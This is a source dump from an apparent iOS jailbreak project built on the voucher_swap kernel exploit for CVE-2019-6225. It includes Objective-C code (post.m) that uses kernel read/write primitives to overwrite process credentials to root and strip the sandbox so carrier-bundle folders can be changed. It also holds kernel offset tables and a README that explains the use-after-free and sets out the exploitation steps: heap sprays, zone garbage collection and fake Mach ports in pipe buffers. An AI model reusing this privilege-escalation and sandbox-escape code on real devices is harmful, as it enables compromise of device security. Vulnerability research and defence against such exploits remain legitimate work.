87 | off_itk_space = 0x308;
88 | off_csb_platform_binary = 0xA4;
89 | off_csb_platform_path = 0xA8;
90 | }
91 | }
92 |
--------------------------------------------------------------------------------
/voucher_swap/post/post.h:
--------------------------------------------------------------------------------
1 | #ifndef post_h
2 | #define post_h
3 |
4 | #include
5 | #include
6 | #include
7 |
8 | @interface Post : NSObject
9 |
10 | - (bool)go;
11 | - (void)reboot;
12 | - (bool)revert;
13 | - (bool)restore;
14 | - (void)letsChange;
15 | - (void)changeItAgain;
16 | - (void)restoreBackup;
17 | - (void)v3ntexApply;
18 |
19 | @end
20 |
21 | #endif /* post_h */
22 |
--------------------------------------------------------------------------------
/voucher_swap/post/post.m:
--------------------------------------------------------------------------------
1 | #import
2 | #include "post.h"
3 | #import "kernel_memory.h"
4 | #import "kernel_slide.h"
5 | #import "offsets.h"
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include "platform.h"
11 | #include "parameters.h"
12 | #include "log.h"
13 |
14 | @implementation Post
15 |
16 | extern int reboot(int howto);
17 |
18 | static uint64_t SANDBOX = 0;
19 |
20 | - (uint64_t)selfproc {
21 | return kernel_read64(current_task + OFFSET(task, bsd_info));
22 | }
23 |
24 | - (int)name_to_pid:(NSString *)name {
25 | static int maxArgumentSize = 0;
26 | if (maxArgumentSize == 0) {
27 | size_t size = sizeof(maxArgumentSize);
28 | if (sysctl((int[]){ CTL_KERN, KERN_ARGMAX }, 2, &maxArgumentSize, &size, NULL, 0) == -1) {
29 | maxArgumentSize = 4096;
30 | }
31 | }
32 | int mib[3] = { CTL_KERN, KERN_PROC, KERN_PROC_ALL };
33 | struct kinfo_proc *info;
34 | size_t length;
35 | int count;
36 | sysctl(mib, 3, NULL, &length, NULL, 0);
37 | info = malloc(length);
38 | sysctl(mib, 3, info, &length, NULL, 0);
39 | count = (int)length / sizeof(struct kinfo_proc);
40 | for (int i = 0; i < count; i++) {
41 | pid_t pid = info[i].kp_proc.p_pid;
42 | if (pid == 0) {
43 | continue;
44 | }
45 | size_t size = maxArgumentSize;
46 | char *buffer = (char *)malloc(length);
47 | if (sysctl((int[]){ CTL_KERN, KERN_PROCARGS2, pid }, 3, buffer, &size, NULL, 0) == 0) {
48 | NSString *executable = [NSString stringWithCString:(buffer+sizeof(int)) encoding:NSUTF8StringEncoding];
49 | if ([[executable lastPathComponent] isEqual:name]) {
50 | return info[i].kp_proc.p_pid;
51 | }
52 | }
53 | free(buffer);
54 | }
55 | free(info);
56 | return 0;
57 | }
58 |
59 | - (bool)isRoot {
60 | return !getuid() && !getgid();
61 | }
62 |
63 | - (bool)isMobile {
64 | return getuid() == 501 && getgid() == 501;
65 | }
66 |
67 | - (void)setUID:(uid_t)uid {
68 | [self setUID:uid forProc:[self selfproc]];
69 | }
70 |
71 | - (void)setUID:(uid_t)uid forProc:(uint64_t)proc {
72 | if (getuid() == uid) return;
73 | uint64_t ucred = kernel_read64(proc + off_p_ucred);
74 | kernel_write32(proc + off_p_uid, uid);
75 | kernel_write32(proc + off_p_ruid, uid);
76 | kernel_write32(ucred + off_ucred_cr_uid, uid);
77 | kernel_write32(ucred + off_ucred_cr_ruid, uid);
78 | kernel_write32(ucred + off_ucred_cr_svuid, uid);
79 | INFO("Overwritten UID to %i for proc 0x%llx", uid, proc);
80 | }
81 |
82 | - (void)setGID:(gid_t)gid {
83 | [self setGID:gid forProc:[self selfproc]];
84 | }
85 |
86 | - (void)setGID:(gid_t)gid forProc:(uint64_t)proc {
87 | if (getgid() == gid) return;
88 | uint64_t ucred = kernel_read64(proc + off_p_ucred);
89 | kernel_write32(proc + off_p_gid, gid);
90 | kernel_write32(proc + off_p_rgid, gid);
91 | kernel_write32(ucred + off_ucred_cr_rgid, gid);
92 | kernel_write32(ucred + off_ucred_cr_svgid, gid);
93 | INFO("Overwritten GID to %i for proc 0x%llx", gid, proc);
94 | }
95 |
96 | - (void)setUIDAndGID:(int)both {
97 | [self setUIDAndGID:both forProc:[self selfproc]];
98 | }
99 |
100 | - (void)setUIDAndGID:(int)both forProc:(uint64_t)proc {
101 | [self setUID:both forProc:proc];
102 | [self setGID:both forProc:proc];
103 | }
104 |
105 | - (void)root {
106 | [self setUIDAndGID:0];
107 | }
108 |
109 | - (void)mobile {
110 | [self setUIDAndGID:501];
111 | }
112 |
113 | // Sandbox //
114 |
115 | - (bool)isSandboxed {
116 | if (!MACH_PORT_VALID(kernel_task_port)) {
117 | [[NSFileManager defaultManager] createFileAtPath:@"/var/TESTF" contents:nil attributes:nil];
118 | if (![[NSFileManager defaultManager] fileExistsAtPath:@"/var/TESTF"]) return true;
119 | [[NSFileManager defaultManager] removeItemAtPath:@"/var/TESTF" error:nil];
120 | return false;
121 | }
122 | return kernel_read64(kernel_read64(kernel_read64([self selfproc] + off_p_ucred) + off_ucred_cr_label) + off_sandbox_slot) != 0;
123 | }
124 |
125 | - (bool)isSandboxed:(uint64_t)proc {
126 | return kernel_read64(kernel_read64(kernel_read64(proc + off_p_ucred) + off_ucred_cr_label) + off_sandbox_slot) != 0;
127 | }
128 |
129 | - (void)sandbox {
130 | [self sandbox:[self selfproc]];
131 | }
132 |
133 | - (void)sandbox:(uint64_t)proc {
134 | INFO("Sandboxed proc 0x%llx", proc);
135 | if ([self isSandboxed]) return;
136 | uint64_t ucred = kernel_read64(proc + off_p_ucred);
137 | uint64_t cr_label = kernel_read64(ucred + off_ucred_cr_label);
138 | kernel_write64(cr_label + off_sandbox_slot, SANDBOX);
139 | SANDBOX = 0;
140 | }
141 |
142 | - (void)unsandbox {
143 | [self unsandbox:[self selfproc]];
144 | }
145 |
146 | - (void)unsandbox:(uint64_t)proc {
147 | INFO("Unsandboxed proc 0x%llx", proc);
148 | if (![self isSandboxed]) return;
149 | uint64_t ucred = kernel_read64(proc + off_p_ucred);
150 | uint64_t cr_label = kernel_read64(ucred + off_ucred_cr_label);
151 | if (SANDBOX == 0) SANDBOX = kernel_read64(cr_label + off_sandbox_slot);
152 | kernel_write64(cr_label + off_sandbox_slot, 0);
153 | }
154 |
155 | - (void)reboot {
156 | [self copyFolderToChange];
157 | [self removeFolderAtOverlay];
158 | [self copyFolderToOverlay];
159 | [self removeFolderAtMedia];
160 | kill([self name_to_pid:@"CommCenter"], SIGKILL);
161 | //reboot(0x400);
162 | }
163 |
164 | - (void)v3ntexApply {
165 | [self copyFolderToChange];
166 | [self removeFolderAtOverlay];
167 | [self copyFolderToOverlay];
168 | [self removeFolderAtMedia];
169 | }
170 |
171 | - (void)letsChange {
172 | if ([[NSFileManager defaultManager] fileExistsAtPath:@"/var/mobile/CarrierChanger12"] == YES) {
173 | printf("Old file\n");
174 | [self removeChangeFolder];
175 | [self copyFolderToMedia];
176 | [self switchToNew];
177 | } else if ([[NSFileManager defaultManager] fileExistsAtPath:@"/var/mobile/.CarrierChanger12"] == YES) {
178 | [self removeChangeFolder];
179 | [self copyFolderToMedia];
180 | } else {
181 | FILE *backupCheck = fopen("/var/mobile/.CarrierChanger12", "w");
182 | if (!backupCheck) {
183 | printf("Failed to make a backup checker\n");
184 | }else {
185 | printf("Successfully make a backup checker\n");
186 | [self makeBackup];
187 | [self removeChangeFolder];
188 | [self copyFolderToMedia];
189 | }
190 | }
191 | }
192 |
193 | - (void)switchToNew {
194 | NSURL *oldURL = [NSURL fileURLWithPath:@"/var/mobile/CarrierChanger12"];
195 | [[NSFileManager defaultManager] removeItemAtPath:oldURL error:nil];
196 | FILE *backupCheck = fopen("/var/mobile/.CarrierChanger12", "w");
197 | if (!backupCheck) {
198 | printf("Failed to make a backup checker\n");
199 | }else {
200 | printf("Successfully make a backup checker\n");
201 | }
202 | }
203 |
204 | - (void)changeItAgain {
205 | if ([[NSFileManager defaultManager] fileExistsAtPath:@"/var/mobile/Media/CarrierChanger12/"] == YES) {
206 | [self copyChangeToMedia];
207 | }
208 | }
209 |
210 | - (void)restoreBackup {
211 | if ([[NSFileManager defaultManager] fileExistsAtPath:@"/var/mobile/Media/CarrierChangerBackup/"]) {
212 | [self copyBackuptoMedia];
213 | }
214 | }
215 |
216 | - (void)makeBackup {
217 | NSURL *oldURL = [NSURL fileURLWithPath:@"/var/mobile/Library/Carrier Bundles/Overlay/"];
218 | NSURL *newURL = [NSURL fileURLWithPath:@"/var/mobile/Media/CarrierChangerBackup/"];
219 | [[NSFileManager defaultManager] copyItemAtPath:oldURL toPath:newURL error:nil];
220 | printf("Successfully backed up\n");
221 | }
222 |
223 | - (void)copyFolderToMedia {
224 | NSURL *oldURL = [NSURL fileURLWithPath:@"/var/mobile/Library/Carrier Bundles/Overlay/"];
225 | NSURL *newURL = [NSURL fileURLWithPath:@"/var/mobile/Media/Overlay/"];
226 | [[NSFileManager defaultManager] copyItemAtPath:oldURL toPath:newURL error:nil];
227 | printf("Successfully moved a folder\n");
228 | }
229 |
230 | - (void)removeFolderAtMedia {
231 | NSURL *removeThis = [NSURL fileURLWithPath:@"/var/mobile/Media/Overlay/"];
232 | [[NSFileManager defaultManager] removeItemAtPath:removeThis error:nil];
233 | printf("Successfully removed a folder\n");
234 | }
235 |
236 | - (void)copyFolderToOverlay {
237 | NSURL *oldURL = [NSURL fileURLWithPath:@"/var/mobile/Media/Overlay/"];
238 | NSURL *newURL = [NSURL fileURLWithPath:@"/var/mobile/Library/Carrier Bundles/Overlay/"];
239 | [[NSFileManager defaultManager] copyItemAtPath:oldURL toPath:newURL error:nil];
240 | printf("Successfully moved a folder\n");
241 | }
242 |
243 | - (void)removeFolderAtOverlay {
244 | NSURL *removeThis = [NSURL fileURLWithPath:@"/var/mobile/Library/Carrier Bundles/Overlay/"];
245 | [[NSFileManager defaultManager] removeItemAtPath:removeThis error:nil];
246 | printf("Successfully removed a folder\n");
247 | }
248 |
249 | - (void)removeChangeFolder {
250 | NSURL *removeThis = [NSURL fileURLWithPath:@"/var/mobile/Media/CarrierChanger12/"];
251 | [[NSFileManager defaultManager] removeItemAtPath:removeThis error:nil];
252 | printf("Successfully removed a folder\n");
253 | }
254 |
255 | - (void)copyFolderToChange {
256 | NSURL *oldURL = [NSURL fileURLWithPath:@"/var/mobile/Media/Overlay/"];
257 | NSURL *newURL = [NSURL fileURLWithPath:@"/var/mobile/Media/CarrierChanger12/"];
258 | [[NSFileManager defaultManager] copyItemAtPath:oldURL toPath:newURL error:nil];
259 | printf("Successfully moved a folder\n");
260 | }
261 |
262 | - (void)copyChangeToMedia {
263 | NSURL *oldURL = [NSURL fileURLWithPath:@"/var/mobile/Media/CarrierChanger12/"];
264 | NSURL *newURL = [NSURL fileURLWithPath:@"/var/mobile/Media/Overlay/"];
265 | [[NSFileManager defaultManager] copyItemAtPath:oldURL toPath:newURL error:nil];
266 | printf("Successfully moved a folder\n");
267 | }
268 |
269 | - (void)copyBackuptoMedia {
270 | NSURL *oldURL = [NSURL fileURLWithPath:@"/var/mobile/Media/CarrierChangerBackup/"];
271 | NSURL *newURL = [NSURL fileURLWithPath:@"/var/mobile/Media/Overlay/"];
272 | [[NSFileManager defaultManager] copyItemAtPath:oldURL toPath:newURL error:nil];
273 | printf("Successfully moved a folder\n");
274 | }
275 |
276 | - (bool)go {
277 | offs_init();
278 | printf("Getting root...\n");
279 | [self root];
280 | printf("UID: %i\n", getuid());
281 | printf("Unsandboxing...\n");
282 | [self unsandbox];
283 | printf("Unsandboxed: %i\n", (kernel_read64(kernel_read64(kernel_read64([self selfproc] + off_p_ucred) + off_ucred_cr_label) + off_sandbox_slot) == 0) ? 1 : 0);
284 | printf("Success!\n");
285 | [self letsChange];
286 | return getuid() ? false : true;
287 | }
288 |
289 | - (bool)revert {
290 | offs_init();
291 | printf("Getting root...\n");
292 | [self root];
293 | printf("UID: %i\n", getuid());
294 | printf("Unsandboxing...\n");
295 | [self unsandbox];
296 | printf("Unsandboxed: %i\n", (kernel_read64(kernel_read64(kernel_read64([self selfproc] + off_p_ucred) + off_ucred_cr_label) + off_sandbox_slot) == 0) ? 1 : 0);
297 | printf("Success!\n");
298 | [self changeItAgain];
299 | return getuid() ? false : true;
300 | }
301 |
302 | - (bool)restore {
303 | offs_init();
304 | printf("Getting root...\n");
305 | [self root];
306 | printf("UID: %i\n", getuid());
307 | printf("Unsandboxing...\n");
308 | [self unsandbox];
309 | printf("Unsandboxed: %i\n", (kernel_read64(kernel_read64(kernel_read64([self selfproc] + off_p_ucred) + off_ucred_cr_label) + off_sandbox_slot) == 0) ? 1 : 0);
310 | printf("Success!\n");
311 | [self restoreBackup];
312 | return getuid() ? false : true;
313 | }
314 |
315 | @end
316 |
--------------------------------------------------------------------------------
/voucher_swap/v3ntex/exploit.h:
--------------------------------------------------------------------------------
1 | //
2 | // exploit.h
3 | // v3ntex
4 | //
5 | // Created by tihmstar on 23.01.19.
6 | // Copyright © 2019 tihmstar. All rights reserved.
7 | //
8 |
9 | #ifndef exploit_h
10 | #define exploit_h
11 | #include
12 |
13 | typedef uint64_t kptr_t;
14 | typedef kern_return_t(*v3ntex_cb_t)(task_t tfp0, kptr_t kbase, void *data);
15 |
16 | extern kptr_t kbase;
17 | mach_port_t v3ntex(void);
18 |
19 | #endif /* exploit_h */
20 |
--------------------------------------------------------------------------------
/voucher_swap/v3ntex/offsets.c:
--------------------------------------------------------------------------------
1 | //
2 | // offsets.c
3 | // v3ntex
4 | //
5 | // Created by tihmstar on 23.01.19.
6 | // Copyright © 2019 tihmstar. All rights reserved.
7 | //
8 |
9 | #include "offsets.h"
10 | #include
11 | #include
12 | #include
13 |
14 | #define dprintf printf
15 | #define dstrcmp strcmp
16 |
17 | t_offsets *guoffsets = NULL;
18 | //typedef struct{
19 | // kptr_t offset_zone_map;
20 | // kptr_t offset_kernel_map;
21 | // kptr_t offset_kernel_task;
22 | // kptr_t offset_realhost;
23 | // kptr_t offset_bzero;
24 | // kptr_t offset_bcopy;
25 | // kptr_t offset_copyin;
26 | // kptr_t offset_copyout;
27 | // kptr_t offset_ipc_port_alloc_special;
28 | // kptr_t offset_ipc_kobject_set;
29 | // kptr_t offset_ipc_port_make_send;
30 | // kptr_t offset_rop_ldr_r0_r0_0xc;
31 | // kptr_t offset_chgproccnt;
32 | // kptr_t offset_kauth_cred_ref;
33 | // kptr_t offset_OSSerializer_serialize;
34 | // kptr_t offset_ipc_space_is_task;
35 | // kptr_t offset_task_itk_self;
36 | // kptr_t offset_task_itk_registered;
37 | // kptr_t offset_vtab_get_external_trap_for_index;
38 | // kptr_t offset_iouserclient_ipc;
39 | // kptr_t offset_proc_ucred;
40 | // kptr_t offset_task_bsd_info;
41 | // kptr_t offset_sizeof_task;
42 | //}t_offsets;
43 |
44 | t_offsets *info_to_target_environment(char *uname) {
45 | guoffsets = NULL;
46 | t_offsets uoffsets;
47 | #define pushOffset(off) *(((kptr_t*)&uoffsets)+(pushing++)) = (off)
48 | if (!dstrcmp(uname, "Darwin Kernel Version 17.4.0: Fri Dec 8 19:35:52 PST 2017; root:xnu-4570.40.9~1/RELEASE_ARM64_S5L8960X")){
49 | // pushOffset(0x80476220); //zone_map
50 | // pushOffset(0x804ac034); //kernel_map
51 | // pushOffset(0x804ac030); //kernel_task
52 | // pushOffset(0x804611b0); //realhost
53 | // pushOffset(0x80009168); //bzero
54 | // pushOffset(0x80008e1d); //bcopy
55 | // pushOffset(0x80007a64); //copyin
56 | // pushOffset(0x80007b4c); //copyout
57 | // pushOffset(0x8001a1ab); //ipc_port_alloc_special
58 | // pushOffset(0x8002c399); //ipc_kobject_set
59 | // pushOffset(0x80019d59); //ipc_port_make_send
60 | // pushOffset(0x801160b9); //rop_ldr_r0_r0_0xc
61 | // pushOffset(0x8029b979); //chgproccnt
62 | // pushOffset(0x8027b03b); //kauth_cred_ref
63 | // pushOffset(0x80346345); //OSSerializer_serialize
64 | // pushOffset(0x00000018); //ipc_space_is_task
65 | // pushOffset(0x000000a4); //task_itk_self
66 | // pushOffset(0x000001e4); //task_itk_registered
67 | // pushOffset(0x000000e1); //vtab_get_external_trap_for_index
68 | // pushOffset(0x00000060); //iouserclient_ipc
69 | // pushOffset(0x00000090); //proc_ucred
70 | // pushOffset(0x00000238); //task_bsd_info
71 | // pushOffset(0x000003d8); //sizeof_task
72 | }
73 | else{
74 | dprintf("[!] Failed to load offsets\n");
75 | return NULL;
76 | }
77 |
78 | guoffsets = malloc(sizeof(t_offsets));
79 | memcpy(guoffsets,&uoffsets,sizeof(t_offsets));
80 |
81 | dprintf("[*] Loaded offsets:\n");
82 | dprintf(" 0x%016llx -offset_zone_map\n",uoffsets.offset_zone_map);
83 | dprintf(" 0x%016llx -offset_kernel_map\n",uoffsets.offset_kernel_map);
84 | dprintf(" 0x%016llx -offset_kernel_task\n",uoffsets.offset_kernel_task);
85 | dprintf(" 0x%016llx -offset_realhost\n",uoffsets.offset_realhost);
86 | dprintf(" 0x%016llx -offset_bzero\n",uoffsets.offset_bzero);
87 | dprintf(" 0x%016llx -offset_bcopy\n",uoffsets.offset_bcopy);
88 | dprintf(" 0x%016llx -offset_copyin\n",uoffsets.offset_copyin);
89 | dprintf(" 0x%016llx -offset_copyout\n",uoffsets.offset_copyout);
90 | dprintf(" 0x%016llx -offset_ipc_port_alloc_special\n",uoffsets.offset_ipc_port_alloc_special);
91 | dprintf(" 0x%016llx -offset_ipc_kobject_set\n",uoffsets.offset_ipc_kobject_set);
92 | dprintf(" 0x%016llx -offset_ipc_port_make_send\n",uoffsets.offset_ipc_port_make_send);
93 | dprintf(" 0x%016llx -offset_rop_ldr_r0_r0_0xc\n",uoffsets.offset_rop_ldr_r0_r0_0xc);
94 | dprintf(" 0x%016llx -offset_chgproccnt\n",uoffsets.offset_chgproccnt);
95 | dprintf(" 0x%016llx -offset_kauth_cred_ref\n",uoffsets.offset_kauth_cred_ref);
96 | dprintf(" 0x%016llx -offset_OSSerializer_serialize\n",uoffsets.offset_OSSerializer_serialize);
97 | dprintf(" 0x%016llx -offset_ipc_space_is_task\n",uoffsets.offset_ipc_space_is_task);
98 | dprintf(" 0x%016llx -offset_task_itk_self\n",uoffsets.offset_task_itk_self);
99 | dprintf(" 0x%016llx -offset_task_itk_registered\n",uoffsets.offset_task_itk_registered);
100 | dprintf(" 0x%016llx -offset_vtab_get_external_trap_for_index\n",uoffsets.offset_vtab_get_external_trap_for_index);
101 | dprintf(" 0x%016llx -offset_iouserclient_ipc\n",uoffsets.offset_iouserclient_ipc);
102 | dprintf(" 0x%016llx -offset_proc_ucred\n",uoffsets.offset_proc_ucred);
103 | dprintf(" 0x%016llx -offset_task_bsd_info\n",uoffsets.offset_task_bsd_info);
104 | dprintf(" 0x%016llx -offset_sizeof_task\n",uoffsets.offset_sizeof_task);
105 |
106 | return guoffsets;
107 | }
108 |
--------------------------------------------------------------------------------
/voucher_swap/v3ntex/offsets.h:
--------------------------------------------------------------------------------
1 | //
2 | // offsets.h
3 | // v3ntex
4 | //
5 | // Created by tihmstar on 23.01.19.
6 | // Copyright © 2019 tihmstar. All rights reserved.
7 | //
8 |
9 | #ifndef offsets_h
10 | #define offsets_h
11 |
12 |
13 | #include
14 | typedef uint64_t kptr_t;
15 |
16 | typedef struct{
17 | kptr_t offset_zone_map;
18 | kptr_t offset_kernel_map;
19 | kptr_t offset_kernel_task;
20 | kptr_t offset_realhost;
21 | kptr_t offset_bzero;
22 | kptr_t offset_bcopy;
23 | kptr_t offset_copyin;
24 | kptr_t offset_copyout;
25 | kptr_t offset_ipc_port_alloc_special;
26 | kptr_t offset_ipc_kobject_set;
27 | kptr_t offset_ipc_port_make_send;
28 | kptr_t offset_rop_ldr_r0_r0_0xc;
29 | kptr_t offset_chgproccnt;
30 | kptr_t offset_kauth_cred_ref;
31 | kptr_t offset_OSSerializer_serialize;
32 | kptr_t offset_ipc_space_is_task;
33 | kptr_t offset_task_itk_self;
34 | kptr_t offset_task_itk_registered;
35 | kptr_t offset_vtab_get_external_trap_for_index;
36 | kptr_t offset_iouserclient_ipc;
37 | kptr_t offset_proc_ucred;
38 | kptr_t offset_task_bsd_info;
39 | kptr_t offset_sizeof_task;
40 | }t_offsets;
41 |
42 | extern t_offsets *guoffsets;
43 |
44 | // Initializer
45 | t_offsets *info_to_target_environment(char *uname);
46 | #endif /* offsets_h */
47 |
--------------------------------------------------------------------------------
/voucher_swap/voucher_swap/README:
--------------------------------------------------------------------------------
1 | voucher_swap - Exploit for P0 issue 1731 on iOS 12.1.2
2 | Brandon Azad
3 |
4 | ---- Issue 1731: CVE-2019-6225 --------------------------------------------------------------------
5 |
6 | iOS/macOS: task_swap_mach_voucher() does not respect MIG semantics leading to use-after-free
7 |
8 | Consider the MIG routine task_swap_mach_voucher():
9 |
10 | routine task_swap_mach_voucher(
11 | task : task_t;
12 | new_voucher : ipc_voucher_t;
13 | inout old_voucher : ipc_voucher_t);
14 |
15 | Here's the (placeholder) implementation:
16 |
17 | kern_return_t
18 | task_swap_mach_voucher(
19 | task_t task,
20 | ipc_voucher_t new_voucher,
21 | ipc_voucher_t *in_out_old_voucher)
22 | {
23 | if (TASK_NULL == task)
24 | return KERN_INVALID_TASK;
25 |
26 | *in_out_old_voucher = new_voucher;
27 | return KERN_SUCCESS;
28 | }
29 |
30 | The correctness of this implementation depends on exactly how MIG ownership semantics are defined
31 | for each of these parameters.
32 |
33 | When dealing with Mach ports and out-of-line memory, ownership follows the traditional rules (the
34 | ones violated by the bugs above):
35 |
36 | 1. All Mach ports (except the first) passed as input parameters are owned by the service routine if
37 | and only if the service routine returns success. If the service routine returns failure then MIG
38 | will deallocate the ports.
39 |
40 | 2. All out-of-line memory regions passed as input parameters are owned by the service routine if
41 | and only if the service routine returns success. If the service routine returns failure then MIG
42 | will deallocate all out-of-line memory.
43 |
44 | But this is only part of the picture. There are more rules for other types of objects:
45 |
46 | 3. All objects with defined MIG translations that are passed as input-only parameters are borrowed
47 | by the service routine. For reference-counted objects, this means that the service routine is
48 | not given a reference, and hence a reference must be added if the service routine intends to
49 | keep the object around.
50 |
51 | 4. All objects with defined MIG translations that are returned in output parameters must be owned
52 | by the output parameter. For reference-counted objects, this means that output parameters
53 | consume a reference on the object.
54 |
55 | And most unintuitive of all:
56 |
57 | 5. All objects with defined MIG translations that are passed as input in input-output parameters
58 | are owned (not borrowed!) by the service routine. This means that the service routine must
59 | consume the input object's reference.
60 |
61 | Having defined MIG translations means that there is an automatic conversion defined between the
62 | object type and its Mach port representation. A task port is one example of such a type: you can
63 | convert a task port to the underlying task object using convert_port_to_task(), and you can convert
64 | a task to its corresponding port using convert_task_to_port().
65 |
66 | Getting back to Mach vouchers, this is the MIG definition of ipc_voucher_t:
67 |
68 | type ipc_voucher_t = mach_port_t
69 | intran: ipc_voucher_t convert_port_to_voucher(mach_port_t)
70 | outtran: mach_port_t convert_voucher_to_port(ipc_voucher_t)
71 | destructor: ipc_voucher_release(ipc_voucher_t)
72 | ;
73 |
74 | This definition means that MIG will automatically convert the voucher port input parameters to
75 | ipc_voucher_t objects using convert_port_to_voucher(), convert the ipc_voucher_t output parameters
76 | into ports using convert_voucher_to_port(), and discard any extra references using
77 | ipc_voucher_release(). Note that convert_port_to_voucher() produces a voucher reference without
78 | consuming a port reference, while convert_voucher_to_port() consumes a voucher reference and
79 | produces a port reference.
80 |
81 | To confirm our understanding of the MIG semantics outlined above, we can look at the function
82 | _Xtask_swap_mach_voucher(), which is generated by MIG during the build process:
83 |
84 | mig_internal novalue _Xtask_swap_mach_voucher
85 | (mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
86 | {
87 | ...
88 | kern_return_t RetCode;
89 | task_t task;
90 | ipc_voucher_t new_voucher;
91 | ipc_voucher_t old_voucher;
92 | ...
93 | task = convert_port_to_task(In0P->Head.msgh_request_port);
94 |
95 | new_voucher = convert_port_to_voucher(In0P->new_voucher.name);
96 |
97 | old_voucher = convert_port_to_voucher(In0P->old_voucher.name);
98 |
99 | RetCode = task_swap_mach_voucher(task, new_voucher, &old_voucher);
100 |
101 | ipc_voucher_release(new_voucher);
102 |
103 | task_deallocate(task);
104 |
105 | if (RetCode != KERN_SUCCESS) {
106 | MIG_RETURN_ERROR(OutP, RetCode);
107 | }
108 | ...
109 | if (IP_VALID((ipc_port_t)In0P->old_voucher.name))
110 | ipc_port_release_send((ipc_port_t)In0P->old_voucher.name);
111 |
112 | if (IP_VALID((ipc_port_t)In0P->new_voucher.name))
113 | ipc_port_release_send((ipc_port_t)In0P->new_voucher.name);
114 | ...
115 | OutP->old_voucher.name = (mach_port_t)convert_voucher_to_port(old_voucher);
116 |
117 | OutP->Head.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
118 | OutP->Head.msgh_size = (mach_msg_size_t)(sizeof(Reply));
119 | OutP->msgh_body.msgh_descriptor_count = 1;
120 | }
121 |
122 | Tracing where each of the references are going, we can deduce that:
123 |
124 | 1. The new_voucher parameter is deallocated with ipc_voucher_release() after invoking the service
125 | routine, so it is not owned by task_swap_mach_voucher(). In other words,
126 | task_swap_mach_voucher() is not given a reference on new_voucher.
127 |
128 | 2. The old_voucher parameter has a reference on it before it gets overwritten by
129 | task_swap_mach_voucher(), which means task_swap_mach_voucher() is being given a reference on the
130 | input value of old_voucher.
131 |
132 | 3. The value returned by task_swap_mach_voucher() in old_voucher is passed to
133 | convert_voucher_to_port(), which consumes a reference on the voucher. Thus,
134 | task_swap_mach_voucher() is giving _Xtask_swap_mach_voucher() a reference on the output value of
135 | old_voucher.
136 |
137 | Finally, looking back at the implementation of task_swap_mach_voucher(), we can see that none of
138 | these rules are being followed:
139 |
140 | kern_return_t
141 | task_swap_mach_voucher(
142 | task_t task,
143 | ipc_voucher_t new_voucher,
144 | ipc_voucher_t *in_out_old_voucher)
145 | {
146 | if (TASK_NULL == task)
147 | return KERN_INVALID_TASK;
148 |
149 | *in_out_old_voucher = new_voucher;
150 | return KERN_SUCCESS;
151 | }
152 |
153 | This results in two separate reference counting issues:
154 |
155 | 1. By overwriting the value of in_out_old_voucher without first releasing the reference, we are
156 | leaking a reference on the input value of old_voucher.
157 |
158 | 2. By assigning the value of new_voucher to in_out_old_voucher without adding a reference, we are
159 | consuming a reference we don't own, leading to an over-release of new_voucher.
160 |
161 | ---- Exploit flow ---------------------------------------------------------------------------------
162 |
163 | First we allocate a bunch of pipes so that we can spray pipe buffers later.
164 |
165 | Then we spray enough Mach ports to fill the ipc.ports zone and cause it to grow and allocate fresh
166 | pages from the zone map; 8000 ports is usually sufficient. That way, when we allocate our pipe
167 | buffers, there's a high chance the pipe buffers lie directly after the ports in kernel memory. The
168 | last port that we allocate is the base port.
169 |
170 | Next we write a 16383-byte pattern to our pipe buffers, causing them to allocate from kalloc.16384.
171 | XNU limits the global amount of pipe buffer memory to 16 MB, but this is more than sufficient to
172 | fill kalloc.16384 and get some pipe buffers allocated after our base port in kernel memory.
173 |
174 | We fill the pipes with fake Mach ports. For each pipe buffer we fill, we set the fake ports'
175 | ip_kotype bits to specify which pair of pipe file descriptors corresponds to this pipe buffer.
176 |
177 | Now that we've allocated some pipe buffers directly after the base port, we set up state for
178 | triggering the vulnerability. We spray several pages of Mach vouchers, and choose one near the end
179 | to be the target for use-after-free. We want the target voucher to lie on a page containing only
180 | sprayed vouchers, so that later we can free all the vouchers on that page and make the page
181 | available for zone garbage collection.
182 |
183 | Then we spray 15% of physical memory size with allocations from kalloc.1024. We'll free this memory
184 | later to ensure that there are lots of free pages to encourage zone garbage collection.
185 |
186 | Next we stash a pointer to the target voucher in our thread's ith_voucher field using
187 | thread_set_mach_voucher(), and then remove the added voucher reference using the
188 | task_swap_mach_voucher() vulnerability. This means that even though ith_voucher still points to the
189 | target voucher, there's only one reference on it, so just like the rest of the vouchers it'll be
190 | freed once we destroy all the voucher ports in userspace.
191 |
192 | At this point we free the kalloc.1024 allocations, destroy the voucher ports to free all the
193 | vouchers, and start slowly filling kernel memory with out-of-line ports allocations to try and
194 | trigger a zone gc and get the page containing our freed target voucher (which ith_voucher still
195 | points to) reallocated with out-of-line ports. In my experiments, spraying 17% of physical memory
196 | size is sufficient.
197 |
198 | We'll try and reallocate the page containing the freed voucher with a pattern of out-of-line Mach
199 | ports that overwrites certain fields of the voucher. Specifically, we overwrite the voucher's
200 | iv_port field, which specifies the Mach port that exposes this voucher to userspace, with NULL and
201 | overwrite the iv_refs field, which is the voucher's reference count, with the lower 32 bits of a
202 | pointer to the base port.
203 |
204 | Overwriting iv_refs with the lower 32 bits of a pointer to the base port will ensure that the
205 | reference count is valid so long as the base port's address is small enough. This is necessary for
206 | us to call thread_get_mach_voucher() later without triggering a panic. Additionally, the pointer to
207 | the base port plays double-duty since we'll later use the task_swap_mach_voucher() vulnerability
208 | again to increment iv_refs and change what was a pointer to the base port so that it points into
209 | our pipe buffers instead.
210 |
211 | Once we've reallocated the voucher with our out-of-line ports spray, we call
212 | thread_get_mach_voucher(). This interprets ith_voucher, which points into the middle of our
213 | out-of-line ports spray, as a Mach voucher, and since iv_port is NULL, a new Mach voucher port is
214 | allocated to represent the freed voucher. Then thread_get_mach_voucher() returns the voucher port
215 | back to us in userspace, allowing us to continue manipulating the freed voucher while it still
216 | overlaps the out-of-line ports array.
217 |
218 | Next we increment the voucher's iv_refs field using task_swap_mach_voucher(), which modifies the
219 | out-of-line pointer to the base port overlapping iv_refs so that it now points into the pipe
220 | buffers.
221 |
222 | And since we guaranteed that every possible fake port inside the pipe buffers looks valid, we can
223 | now safely receive the messages containing the out-of-line ports spray to recover a send right to
224 | a fake ipc_port overlapping our pipe buffers.
225 |
226 | Our next step is to determine which pair of pipe file descriptors corresponds to the pipe buffer.
227 | Since we set each possible fake port's ip_kotype bits earlier while spraying pipe buffers, we can
228 | use mach_port_kobject() to retrieve the fake port's ip_kotype and determine the overlapping pipe.
229 | And at this point, we can now inspect and modify our fake port by reading and writing the pipe's
230 | contents.
